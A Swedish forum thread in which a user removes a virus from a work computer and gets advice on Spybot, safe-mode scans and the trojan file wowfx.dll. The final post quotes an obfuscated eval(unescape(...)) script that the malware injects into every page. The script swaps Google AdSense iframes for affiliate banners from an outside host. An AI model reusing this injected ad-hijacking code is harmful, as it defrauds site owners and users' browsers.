webForumDet fria alternativet

Virus p[ jobbdatorn, kan inte surfa

Datasäkerhet

6 svar · 1 128 visningar · startad av MickeA.com

Medlem sedan feb. 20034 441 inlägg
Frågan#1

Tja,

Imorse nar jag startade datorn upptackte NOD32 ett gang virus pa datorn, som flyttades in till karantan.

Korde da tva stycken scanningar och drog aven igenom Adaware tva ganger, som hittade en del skumma saker.

Nu verkar allt bara borta, men jag kan inte alls surfa fran datorn.
Gar jag in i Internet Explorer och skriver in en adress, sa kommer ett meddelande om att datorn ar virussmittad, se min bifogade fil.

Just nu har jag bootat upp datorn med Ubuntu Live CD och det fungerar givetsvis direkt.

Det kommer aven upp nagra konstiga varning om en fil som heter wowfx.dll

Nar jag kollar i system32 mappen pa det namnet, hittar jag filerna

wow32.dll
WOWDEB.EXE
WOWEXEC.EXE
wowfx.dll

Ar dom har sakerna nagot viktigt, eller kan det ha med nagot virus att gora?

Har inte en aning om hur jag ska fixa till detta, har kort NOD32s scanning tre ganger och Adaware, men det blir ingen som helst skillnad.

Bifogar aven en bild de virus som ligger i karantan nu.

ie7.dump.gifnod32.dump.gif
Medlem sedan mars 2006296 inlägg
#2

Har ingen aning om vad det kan vara för något men prova att köra Spybot Search & Destroy har hjälpt mig många gånger.

http://www.safer-networking.org/sv/index.html

Medlem sedan juni 20001 251 inlägg
#3

Kör programmen i felsäkert läge.

Medlem sedan feb. 20034 441 inlägg
#4

Nate.A skrev:

Har ingen aning om vad det kan vara för något men prova att köra Spybot Search & Destroy har hjälpt mig många gånger.

Körde det här en sväng nu och flera saker hittades som togs bort.
Det var dels några dåliga cookies och en del felaktiga / skadliga registerposter.

Håller på och kör Adaware en sväng till (även det från felsäkert läge) och hittills har 91 saker hittats, igår när jag körde Windows i normalt läge fanns inget skumt alls.

Kanske problemen försvinner efter det här, vi får se...

Medlem sedan feb. 20072 750 inlägg
#5

wow32.dll
WOWDEB.EXE
WOWEXEC.EXE
wowfx.dll.

http://www.processlibrary.com/search/?q=wowfx.dll
Dom andra är en del av windows, wowfx.dll, är däremot något jag inte känner till. Malware?
*wowfx.dll - Dangerous
wowfx.dll
We suggest you to remove wowfx.dll from your computer as soon as possible.
Wowfx.dll is Trojan/Backdoor.
Kill the file wowfx.dll and remove wowfx.dll from Windows startup.

Removal: wowfx.dll is removed by RegRun.* 

http://www.greatis.com/appdata/d/w/wowfx.dll.htm

Har du fått bort den helt? En riktig fuling. Start- sök - wowfx.dll - om den dyker upp har den inte raderats.

Medlem sedan feb. 20034 441 inlägg
#6

LoLo skrev:

http://www.processlibrary.com/search/?q=wowfx.dll
Dom andra är en del av windows, wowfx.dll, är däremot något jag inte känner till. Malware?
*wowfx.dll - Dangerous
wowfx.dll
We suggest you to remove wowfx.dll from your computer as soon as possible.
Wowfx.dll is Trojan/Backdoor.
Kill the file wowfx.dll and remove wowfx.dll from Windows startup.

Removal: wowfx.dll is removed by RegRun.* 

http://www.greatis.com/appdata/d/w/wowfx.dll.htm

Har du fått bort den helt? En riktig fuling. Start- sök - wowfx.dll - om den dyker upp har den inte raderats.

Oj, tack för infon!
Jag har nu tagit bort den från System32 mappen. På sistone har jag fått blåskärm flera gånger (det här har hänt långt innan jag åkte på virus) men körde ikväll Dell's diagnostik programvara.

Den hittar flera skadade sektorer på disken som inte går att reparera.
Lite tråkigt eftersom en disk har rasat tidigare och jag fick en ny från Dell drygt 1 månad efter att jag köpt datorn.

Jag ska skicka in min rapport till Dell nu, så får jag se vad som händer.

Medlem sedan feb. 20034 441 inlägg
#7

Nu börjar datorn fungera rätt okej igen, har dock en sak till...
Såg precis att på _alla_ sidor jag surfar till med Firefox, läggs det här till högst upp i källkoden:

<script>eval(unescape('%0D%0A%09%0D%0A%09document.write%28%27%3Cdiv%20id%3D%22asbakvg721%22%20style%3D%22height%3A3000px%3Bwidth%3A2000px%3Bleft%3A0px%3Btop%3A0px%3Bposition%3Aabsolute%3Bz-index%3A99999%3B%22%3E%3C%2Fdiv%3E%27%29%3B%0D%0A%09window.scroll%280%2C0%29%3B%0D%0A%09%0D%0A%09function%20init_b216dvsa6v%28%29%20%7B%0D%0A%09%09if%20%28arguments.callee.done%29%20return%3B%0D%0A%09%09arguments.callee.done%20%3D%20true%3B%0D%0A%0D%0A%09%09%0D%0Avar%20isadsensepage%20%3D%200%3B%0D%0Aresultsblock%20%3D%20document.body.getElementsByTagName%28%27iframe%27%29%3B%0D%0Afor%28var%20i%3D0%3B%20i%3Cresultsblock.length%3Bi%2B%2B%29%0D%0A%7B%0D%0A%09if%28resultsblock%5Bi%5D.src.indexOf%28%27pagead2.googlesyndication.com%27%29%21%3D-1%29%0D%0A%09%7B%0D%0A%09%09if%28%28google_ad_width%20%3D%3D%20728%29%20%26%26%20%28google_ad_height%20%3D%3D%2090%29%29%0D%0A%09%09resultsblock%5Bi%5D.src%20%3D%20%27http%3A%2F%2Fwww.beeresult.com%2Fbanner1.php%3Faffid%3D42%26country%3Dse%27%3B%0D%0A%09%7D%0D%0A%09if%28resultsblock%5Bi%5D.src.indexOf%28%27pagead2.googlesyndication.com%27%29%21%3D-1%29%0D%0A%09%7B%0D%0A%09%09if%28%28google_ad_width%20%3D%3D%20300%29%20%26%26%20%28google_ad_height%20%3D%3D%20250%29%29%0D%0A%09%09resultsblock%5Bi%5D.src%20%3D%20%27http%3A%2F%2Fwww.beeresult.com%2Fbanner2.php%3Faffid%3D42%26country%3Dse%27%3B%0D%0A%09%7D%0D%0A%09if%28resultsblock%5Bi%5D.src.indexOf%28%27pagead2.googlesyndication.com%27%29%21%3D-1%29%0D%0A%09%7B%0D%0A%09%09if%28%28google_ad_width%20%3D%3D%20468%29%20%26%26%20%28google_ad_height%20%3D%3D%2060%29%29%0D%0A%09%09resultsblock%5Bi%5D.src%20%3D%20%27http%3A%2F%2Fwww.beeresult.com%2Fbanner3.php%3Faffid%3D42%26country%3Dse%27%3B%0D%0A%09%7D%0D%0A%09if%28resultsblock%5Bi%5D.src.indexOf%28%27pagead2.googlesyndication.com%27%29%21%3D-1%29%0D%0A%09%7B%0D%0A%09%09if%28%28google_ad_width%20%3D%3D%20250%29%20%26%26%20%28google_ad_height%20%3D%3D%20250%29%29%0D%0A%09%09resultsblock%5Bi%5D.src%20%3D%20%27http%3A%2F%2Fwww.beeresult.com%2Fbanner4.php%3Faffid%3D42%27%3B%0D%0A%09%7D%0D%0A%09if%28resultsblock%5Bi%5D.src.indexOf%28%27pagead2.googlesyndication.com%27%29%21%3D-1%29%0D%0A%09%7B%0D%0A%09%09if%28%28google_ad_width%20%3D%3D%20200%29%20%26%26%20%28google_ad_height%20%3D%3D%20200%29%29%0D%0A%09%09resultsblock%5Bi%5D.src%20%3D%20%27http%3A%2F%2Fwww.beeresult.com%2Fbanner5.php%3Faffid%3D42%27%3B%0D%0A%09%7D%0D%0A%09if%28resultsblock%5Bi%5D.src.indexOf%28%27pagead2.googlesyndication.com%27%29%21%3D-1%29%0D%0A%09%7B%0D%0A%09%09if%28%28google_ad_width%20%3D%3D%20180%29%20%26%26%20%28google_ad_height%20%3D%3D%20150%29%29%0D%0A%09%09resultsblock%5Bi%5D.src%20%3D%20%27http%3A%2F%2Fwww.beeresult.com%2Fbanner6.php%3Faffid%3D42%27%3B%0D%0A%09%7D%0D%0A%09if%28resultsblock%5Bi%5D.src.indexOf%28%27pagead2.googlesyndication.com%27%29%21%3D-1%29%0D%0A%09%7B%0D%0A%09%09if%28%28google_ad_width%20%3D%3D%20160%29%20%26%26%20%28google_ad_height%20%3D%3D%20600%29%29%0D%0A%09%09resultsblock%5Bi%5D.src%20%3D%20%27http%3A%2F%2Fwww.beeresult.com%2Fbanner7.php%3Faffid%3D42%26country%3Dse%27%3B%0D%0A%09%7D%0D%0A%09if%28resultsblock%5Bi%5D.src.indexOf%28%27pagead2.googlesyndication.com%27%29%21%3D-1%29%0D%0A%09%7B%0D%0A%09%09if%28%28google_ad_width%20%3D%3D%20120%29%20%26%26%20%28google_ad_height%20%3D%3D%20600%29%29%0D%0A%09%09resultsblock%5Bi%5D.src%20%3D%20%27http%3A%2F%2Fwww.beeresult.com%2Fbanner8.php%3Faffid%3D42%26country%3Dse%27%3B%0D%0A%09%7D%0D%0A%09if%28resultsblock%5Bi%5D.src.indexOf%28%27pagead2.googlesyndication.com%27%29%21%3D-1%29%0D%0A%09%7B%0D%0A%09%09if%28%28google_ad_width%20%3D%3D%20160%29%20%26%26%20%28google_ad_height%20%3D%3D%20160%29%29%0D%0A%09%09resultsblock%5Bi%5D.src%20%3D%20%27http%3A%2F%2Fwww.beeresult.com%2Fbanner9.php%3Faffid%3D42%27%3B%0D%0A%09%7D%0D%0A%09if%28resultsblock%5Bi%5D.src.indexOf%28%27pagead2.googlesyndication.com%27%29%21%3D-1%29%0D%0A%09%7B%0D%0A%09%09if%28%28google_ad_width%20%3D%3D%20468%29%20%26%26%20%28google_ad_height%20%3D%3D%20180%29%29%0D%0A%09%09resultsblock%5Bi%5D.src%20%3D%20%27http%3A%2F%2Fwww.beeresult.com%2Fbanner10.php%3Faffid%3D42%26country%3Dse%27%3B%0D%0A%09%7D%0D%0A%09if%28resultsblock%5Bi%5D.src.indexOf%28%27pagead2.googlesyndication.com%27%29%21%3D-1%29%0D%0A%09%7B%0D%0A%09%09if%28%28google_ad_width%20%3D%3D%20336%29%20%26%26%20%28google_ad_height%20%3D%3D%20160%29%29%0D%0A%09%09resultsblock%5Bi%5D.src%20%3D%20%27http%3A%2F%2Fwww.beeresult.com%2Fbanner11.php%3Faffid%3D42%27%3B%0D%0A%09%7D%0D%0A%7D%0D%0A%0D%0A%09%09%0D%0A%09%09var%20hidderblock%20%3D%20document.getElementById%28%27asbakvg721%27%29%3B%0D%0A%09%09hidderblock.style.visibility%20%3D%20%27hidden%27%3B%0D%0A%09%09hidderblock.style.display%20%3D%20%27none%27%3B%0D%0A%09%09%0D%0A%09%7D%3B%0D%0A%09%28function%28i%29%20%7Bvar%20u%20%3Dnavigator.userAgent%3Bvar%20e%3D%2F%2A%40cc_on%21%40%2A%2Ffalse%3B%20var%20st%20%3D%0D%0AsetTimeout%3Bif%28%2Fwebkit%2Fi.test%28u%29%29%7Bst%28function%28%29%7Bvar%20dr%3Ddocument.readyState%3B%0D%0Aif%28dr%3D%3D%22loaded%22%7C%7Cdr%3D%3D%22complete%22%29%7Bi%28%29%7Delse%7Bst%28arguments.callee%2C10%29%3B%7D%7D%2C10%29%3B%7D%0D%0Aelse%20if%28%28%2Fmozilla%2Fi.test%28u%29%26%26%21%2F%28compati%29%2F.test%28u%29%29%20%7C%7C%20%28%2Fopera%2Fi.test%28u%29%29%29%7B%0D%0Adocument.addEventListener%28%22DOMContentLoaded%22%2Ci%2Cfalse%29%3B%20%7D%20else%20if%28e%29%7B%20%20%20%20%20%28%0D%0Afunction%28%29%7Bvar%20t%3Ddocument.createElement%28%27doc%3Ardy%27%29%3Btry%7Bt.doScroll%28%27left%27%29%3B%0D%0Ai%28%29%3Bt%3Dnull%3B%7Dcatch%28e%29%7Bst%28arguments.callee%2C0%29%3B%7D%7D%29%28%29%3B%7Delse%7Bwindow.onload%3Di%3B%7D%7D%29%28init_b216dvsa6v%29%3B'))</script>

Det är samma sak i Internet Explorer 7.

Hur får man bort det?
En annan sak, såfort jag öppnar notepad.exe får jag meddelandet "Anteckningar har slutat svara" och så stänger det av sig.

Misstänker att det är något som hänt av allt det här, några tips?

Tack!

248 ms totalt · 4 externa anrop · v20260731065814-full.a51de22e
120 ms — deklarationer (db)
0 ms — hämta statistik (cache)
125 ms — hämta tråd, inlägg och bilagor (db)
117 ms — ändringar (db)